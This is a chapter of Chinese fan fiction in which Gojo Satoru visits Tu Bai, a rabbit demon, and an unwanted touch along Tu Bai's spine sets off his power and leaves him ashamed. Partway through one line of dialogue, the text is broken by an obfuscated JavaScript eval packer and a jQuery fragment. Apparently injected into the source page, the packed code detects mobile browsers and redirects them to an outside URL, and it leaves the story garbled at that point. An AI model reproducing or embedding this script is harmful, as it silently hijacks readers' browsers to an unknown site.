第二天早上涂白是被头痛弄醒的。
太阳穴一跳一跳地疼,嘴里发干,脑子里像塞了团棉花。他躺在床上,盯着天花板看了好一会儿,昨晚的记忆才一点点拼回来。
烛光晚餐。桃子酒。胡萝卜田的傻话。
还有……楼道口,五条悟的手,擦过他后颈的那一下。
涂白猛地坐起来,耳朵瞬间烧红了。
“我在干嘛……”他捂住脸,想起自己昨晚问“你为什么对我这么好”,还差点站不稳靠在五条悟身上。太丢人了。
手机在床头震了一下。涂白抓过来看,是五条悟发来的消息。
【醒了吗?头痛的话我有药。】
消息显示早上八点发的,现在十点半。涂白盯着屏幕看了几秒,脑子里闪过昨晚五条悟扶他时手臂的温度,还有那句“因为我乐意”。
他手指在键盘上悬着,最后还是打了两个字:
【没事。】
回得有点冷淡。但他现在确实不知道该怎么面对五条悟。
五条悟秒回:【真的?昨晚你喝了不少。】
涂白:【真的。】
五条悟:【那下午我去找你?今天没任务。】
涂白皱眉:【不用,我要复习,下周有考试。】
五条悟:【我陪你复习啊~反正我也没事干。】
涂白想拒绝,但五条悟又发来一条:【而且你昨天落了个文件在我这儿,那个咒具设计图,你不看了?】
……确实。涂白想起来,昨晚回来的时候迷迷糊糊,文件夹好像忘在车上了。
他叹了口气:【几点?】
五条悟:【两点?顺便给你带醒酒汤,我家的秘方,超有效~】
涂白盯着“我家的秘方”这几个字,愣了下。五条悟很少提家里的事。他回:【哦。】
---
下午两点,门铃准时响了。
涂白去开门。五条悟站在外面,还是那身休闲打扮,白色连帽卫衣,黑色长裤,墨镜架在鼻梁上。手里拎着个保温壶和纸袋。
“哟。”五条悟笑着进来,“头还疼吗?”
“好多了。”涂白关上门。
五条悟把保温壶放在桌上:“醒酒汤,趁热喝。”又从纸袋里掏出文件夹,“你的文件。”
涂白接过:“谢谢。”
“客气什么~”五条悟很自然地走到沙发边坐下,往后一靠,“你不是要复习吗?复习吧,我在这儿看着。”
涂白看了他一眼:“……你不用回去吗?”
“不用啊,今天很闲。”五条悟掏出手机,“你复习你的,我玩我的。互不打扰~”
话是这么说,但涂白总觉得不太自在。他拿着书走到书桌前坐下,翻开笔记,但注意力集中不起来。
房间里很安静,只有翻书的声音和五条悟偶尔按手机的声音。阳光从窗户照进来,落在书桌上,暖洋洋的。
涂白强迫自己看进去。下周的考试很重要,是关于日本古典文学的,他背了好几天的《源氏物语》选段,现在脑子里一片空白。
“《源氏物语》啊。”五条悟的声音突然在身后响起。
涂白吓了一跳,转头。五条悟不知道什么时候走过来了,正站在他椅子后面,俯身看他摊开的书。
“你吓到我了。”涂白说。
“抱歉~”五条悟笑,手很自然地搭在椅背上,“我也读过一点,紫式部写得确实不错,就是人物关系太乱了。”
“你也读过?”
“好歹是最强。”五条悟说,“自然是各方面都是咯。”
涂白有点意外。他没想到五条悟会认真读书——他一直以为五条悟是那种靠天赋碾压一切的家伙。
“你……喜欢看书?”涂白问。
“偶尔。”五条悟说,“任务间隙会看看。小说、历史、哲学什么的都看点。”
他说这话的时候,手从椅背上滑下来,很自然地放在了涂白肩上。
涂白身体僵了一下。
五条悟感觉到了,但没拿开手,反而轻轻捏了捏他的肩膀:“你这里很紧,复习压力大?”
“……有点。”
“放松点。”五条悟说,“你那么聪明,肯定能考好。”
他的手在涂白肩上按了按,力道适中,确实有点放松的效果。但涂白的注意力完全不在复习上了。
他感觉五条悟的手很热,透过衣服布料传过来。还有五条悟说话时呼出的气息,喷在他耳侧,有点痒。
“前辈……”涂白小声说,“你这样我没办法复习。”
“哦?那要怎么样?”五条悟的声音里带着笑意。
“就……别碰我。”
五条悟顿了顿,然后手拿开了。但没走开,还是站在涂白身后。
安静了几秒。
涂白重新看向书,但一个字都看不进去。他感觉五条悟的视线落在他背上,像有实质的重量。
然后,五条悟开口了。
“小白。”
“嗯?”
“你脊背很敏感?”
涂白手一抖,笔掉在桌上。
他慢慢转过头,看向五条悟。五条悟也正看着他,墨镜滑下一点,冰蓝色的眼睛从镜片上方露出来,眼神里带着探究。
“为什么……这么问?”涂白听见自己的声音有点干。
“昨晚。”五条悟说,“在楼下,我碰到你后颈的时候,你抖了一下。”
他伸出手,很自然地放在涂白后颈上,就像昨晚那样。
“这里?”五条悟问,手指轻轻按了按。
涂白整个人都僵住了。
后颈是兔妖的敏感区之一,但还不是最敏感的。最敏感的是整条脊线——从后颈到尾椎,是妖力循环的核心通路。
“我……”涂白想说话,但喉咙发紧。
五条悟的手没拿开,反而顺着他的脊柱线条,缓缓往下抚摸。
动作很轻,很慢。
掌心完整贴合脊线,从颈椎一路滑到尾椎。
涂白脑子里“嗡”的一声。
像是有什么开关被打开了。
妖力——完全不受控制地炸开。
银色光屑从他身上爆发出来,像烟花一样炸满整个房间。书桌、椅子、地板、天花板——所有东西表面都开始闪烁银光,构筑物失控地闪现又消失。
一把椅子变成了胡萝卜形状。
书桌上的笔筒变成了兔子耳朵。
窗户上结出了银色的藤蔓花纹。
更糟的是——
涂白感觉到……
他腿一软,差点从椅子上滑下去。
时间仿佛凝固了。
涂白低头,看着自己裤子上……
他脸色由红转白,再由白转红。
五条悟也愣住了。他的手还停在涂白背上,动作僵在那里。他低头,看到了涂白裤子上的……,又抬头,看向涂白的脸。
涂白的表情——羞耻、震惊、茫然,混杂在一起。
五条悟张了张嘴,想说点什么,但没发出声音。
涂白猛地站起来,动作快得带倒了椅子。他一把推开五条悟,力气大得惊人,五条悟被推得踉跄了一步。
“小——”
涂白没让他说完,转身冲进浴室,“砰”地关上门,反锁。
五条悟站在客厅里,看着关上的浴室门,又低头看了看自己的手。
掌心还残留着涂白脊背的温度和触感。
还有刚才那一瞬间,涂白身上爆发的妖力——强烈,混乱,带着某种……五条悟说不清的感觉。
他走到浴室门口,抬手想敲门,但手停在半空。
里面传来水声。
还有压抑的、细微的抽泣声。
五条悟的手慢慢放下来。
他站了一会儿,然后走到沙发边坐下,双手撑在膝盖上,低着头。
墨镜滑下来,挂在鼻尖。冰蓝色的眼睛里一片茫然。
他刚才……做了什么?
不就是碰了一下脊背吗?
为什么涂白反应那么大?
还有那个反应……
五条悟皱眉。他不是不知道那是什么。他只是没想到会这么……强烈。
而且是在这种时候。
浴室里的水声停了。安静了几分钟,门开了。
涂白走出来。
他换了身衣服——灰色的运动裤和黑色T恤,头发湿漉漉的,还在滴水。脸上没什么表情,眼睛有点红,但没哭过的痕迹。
他看都没看五条悟,径直走到门口,拉开门。
“请离开。”涂白说,声音很冷。
五条悟站起来:“小白,我——”
“出去。”涂白打断他,声音在发抖。
五条悟看着他。涂白的脸苍白,嘴唇紧抿,手指抓着门框,指节发白。
“我不是故意——”五条悟想解释。
“我不想听。”涂白说,“请你现在离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123762|195985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开。”
五条悟沉默了几秒,然后点头。
他走到门口,在涂白身边停了一下,想说什么,但最后还是什么都没说,走了出去。
门在身后关上。
五条悟站在楼道里,听着门内反锁的声音。
他站了一会儿,然后转身下楼。
走到楼下,他抬头看了看涂白公寓的窗户。窗帘拉着,什么都看不见。
五条悟掏出手机,想发条消息,但手指停在屏幕上,半天没动。
最后他收起手机,双手插进口袋,走了。
---
门内,涂白背靠着门板,慢慢滑坐在地上。
他把脸埋进膝盖里,肩膀开始发抖。
羞耻。
愤怒。
自我厌恶。
各种情绪混在一起,像潮水一样把他淹没。
他怎么可以……怎么可以那样?
在五条悟面前,因为一个触碰,就……
涂白咬住嘴唇,咬得很用力,几乎尝到血腥味。
他想起刚才五条悟的表情——震惊,茫然,还有一丝……困惑?
五条悟肯定觉得他很奇怪吧。
不,不止奇怪。是恶心。
一个男的,因为被碰了下脊背,就……
涂白把脸埋得更深,手指插进头发里,用力揪着。
浴室里,他刚才换下来的裤子还扔在地上。那块……刺眼得要命。
他站起来,冲进浴室,抓起裤子塞进垃圾桶,又觉得不够,把整个垃圾桶的袋子都拎出来,打了个死结,扔到门口。
然后他回到客厅,看着满屋子的银色残迹。
胡萝卜椅子。兔子耳朵笔筒。藤蔓花纹。
都是他妖力失控的证据。
涂白闭上眼睛,深吸一口气,然后抬手。银色妖力涌出,一点点把那些构筑物抹去,把房间恢复原样。
做完这些,他又瘫坐在地上。
手机在书桌上震了一下。
涂白没动。
又震了一下。
他还是没动。
手机震了第三下,然后停了。
涂白不知道是谁,可能是五条悟,也可能是别的人,但他现在不想看,不想回,不想面对。
他只想一个人待着。
窗外的阳光慢慢西斜,房间里的光线暗下来。涂白坐在地上,背靠着沙发,盯着地板上的某个点,看了很久。
脑子里反复回放刚才的场景。
五条悟的手。
脊背的触感。
妖力炸开。
还有……
涂白闭上眼睛。
他想起昨晚在餐厅,五条悟说“你喝醉的样子挺可爱的”。
想起在京都,五条悟说“我家兔子可爱吧”。
想起更早之前,五条悟说“我会照顾好你弟弟”。
为什么?
涂白睁开眼睛,看着天花板。
为什么五条悟要对他这么好?
为什么他要对五条悟的反应这么大?
为什么……心会这么乱?
手机又震了一下。这次不是消息,是电话。
涂白看了一眼屏幕——是涂宝。
他犹豫了一下,还是接了。
“喂,哥。”
“二宝!”涂宝的声音带着哭腔,“你怎么不接电话?我打了三个!我以为你出事了!”
“……我没事。”涂白说,“刚才在洗澡。”
“真的?”
“真的。”
涂宝松了口气,但马上又问:“你声音怎么了?听起来不对劲。”
“有点感冒。”涂白撒谎,“昨天着凉了。”
“那你要多喝热水!吃药了吗?要不要我过去照顾你?”
“不用。”涂白说,“我睡一觉就好。”
“真的?”
“真的。”
涂宝又叮嘱了几句,才挂了电话。
涂白放下手机,靠在沙发上。
窗外,天完全黑了。
他站起来,走到窗边,拉开一条缝往下看。
楼下空荡荡的,没有人。
五条悟没在。
涂白说不清自己是松了口气,还是……有点失望。
他拉上窗帘,回到卧室,倒在床上。
闭上眼睛,脑子里还是五条悟的脸。
还有那句话。
“你脊背很敏感?”